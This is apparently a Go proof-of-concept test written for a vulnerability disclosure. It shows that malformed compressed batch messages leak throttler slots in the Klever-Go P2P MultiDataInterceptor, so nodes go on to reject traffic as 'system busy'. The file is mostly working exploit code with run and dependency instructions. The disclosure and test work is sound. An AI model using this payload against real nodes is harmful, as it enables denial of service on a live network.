package poc
/*
Target contract : Klever-Go P2P MultiDataInterceptor; no on-chain address
Vulnerability : Denial of service through leaked global P2P throttler slots
Severity : High
How to run : GOTOOLCHAIN=go1.25.9 go test -v poc_mdi_throttler_slot_leak_test.go
Expected output : The test passes and logs that a real throttler returns system busy after malformed compressed batches
Dependencies : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/klever-go@v1.7.17-0.20260422114731-405d01b0abbf; go mod tidy
*/
import (
"errors"
"fmt"
"testing"
"github.com/klever-io/klever-go/common"
"github.com/klever-io/klever-go/common/mock"
"github.com/klever-io/klever-go/core"
"github.com/klever-io/klever-go/core/process/interceptors"
"github.com/klever-io/klever-go/core/throttler"
"github.com/klever-io/klever-go/data/batch"
)
func malformedCompressedBatchPayload(t *testing.T, marshalizer *mock.MarshalizerMock) []byte {
t.Helper()
// Build a syntactically valid batch envelope whose compressed stream is not valid gzip.
payload, err := marshalizer.Marshal(&batch.Batch{
IsCompressed: true,
Stream: []byte("not-a-gzip-stream"),
DataSize: 1,
})
if err != nil {
t.Fatalf("marshal malformed compressed batch: %v", err)
}
return payload
}
func newMultiDataInterceptor(t *testing.T, marshalizer *mock.MarshalizerMock, throttlerArg interface {
CanProcess() bool
StartProcessing()
EndProcessing()
IsInterfaceNil() bool
}) *interceptors.MultiDataInterceptor {
t.Helper()
// Use the production transaction topic and production MultiDataInterceptor constructor.
arg := interceptors.ArgMultiDataInterceptor{
Topic: common.TransactionTopic,
Marshalizer: marshalizer,
DataFactory: &mock.InterceptedDataFactoryStub{},
Processor: &mock.InterceptorProcessorStub{},
Throttler: throttlerArg,
AntifloodHandler: &mock.P2PAntifloodHandlerStub{},
WhiteListRequest: &mock.WhiteListHandlerStub{},
CurrentPeerID: core.PeerID("local-peer"),
}
mdi, err := interceptors.NewMultiDataInterceptor(arg)
if err != nil {
t.Fatalf("construct MultiDataInterceptor: %v", err)
}
return mdi
}
func malformedP2PBatchMessage(payload []byte, sequence int) *mock.P2PMessageMock {
// Build a P2P message that passes outer message preprocessing and reaches decompression.
return &mock.P2PMessageMock{
DataField: payload,
PeerField: core.PeerID("origin-peer"),
SeqNoField: []byte(fmt.Sprintf("seq-%d", sequence)),
}
}
func TestPoC_MalformedCompressedBatchLeaksThrottlerSlot(t *testing.T) {
marshalizer := &mock.MarshalizerMock{}
// First prove that a malformed compressed batch calls StartProcessing without a matching EndProcessing.
countingThrottler := &mock.InterceptorThrottlerStub{
CanProcessCalled: func() bool { return true },
}
mdiWithCountingThrottler := newMultiDataInterceptor(t, marshalizer, countingThrottler)
payload := malformedCompressedBatchPayload(t, marshalizer)
message := malformedP2PBatchMessage(payload, 1)
startBefore := countingThrottler.StartProcessingCount()
endBefore := countingThrottler.EndProcessingCount()
err := mdiWithCountingThrottler.ProcessReceivedMessage(message, core.PeerID("connected-peer"))
startAfter := countingThrottler.StartProcessingCount()
endAfter := countingThrottler.EndProcessingCount()
// The vulnerable branch returns the gzip error after StartProcessing but before EndProcessing.
if err == nil {
t.Fatalf("expected gzip error, got nil")
}
if startAfter != startBefore+1 {
t.Fatalf("expected one throttler start, before=%d after=%d", startBefore, startAfter)
}
if endAfter != endBefore {
t.Fatalf("expected no throttler end on decompress error, before=%d after=%d", endBefore, endAfter)
}
t.Logf("process_error=%v", err)
t.Logf("start_count_before=%d", startBefore)
t.Logf("start_count_after=%d", startAfter)
t.Logf("end_count_before=%d", endBefore)
t.Logf("end_count_after=%d", endAfter)
// Then prove direct impact with a real capacity-2 throttler.
realThrottler, err := throttler.NewNumGoRoutinesThrottler(2)
if err != nil {
t.Fatalf("construct real throttler: %v", err)
}
mdiWithRealThrottler := newMultiDataInterceptor(t, marshalizer, realThrottler)
err1 := mdiWithRealThrottler.ProcessReceivedMessage(malformedP2PBatchMessage(payload, 2), core.PeerID("connected-peer"))
err2 := mdiWithRealThrottler.ProcessReceivedMessage(malformedP2PBatchMessage(payload, 3), core.PeerID("connected-peer"))
err3 := mdiWithRealThrottler.ProcessReceivedMessage(malformedP2PBatchMessage(payload, 4), core.PeerID("connected-peer"))
// The third attempt is rejected as system busy because leaked slots were not released.
if err1 == nil || err2 == nil {
t.Fatalf("expected first two malformed attempts to return gzip errors, got err1=%v err2=%v", err1, err2)
}
if !errors.Is(err3, common.ErrSystemBusy) {
t.Fatalf("expected third attempt to hit system busy, got %v", err3)
}
t.Logf("real_throttler_attempt_1=%v", err1)
t.Logf("real_throttler_attempt_2=%v", err2)
t.Logf("real_throttler_attempt_3=%v", err3)
}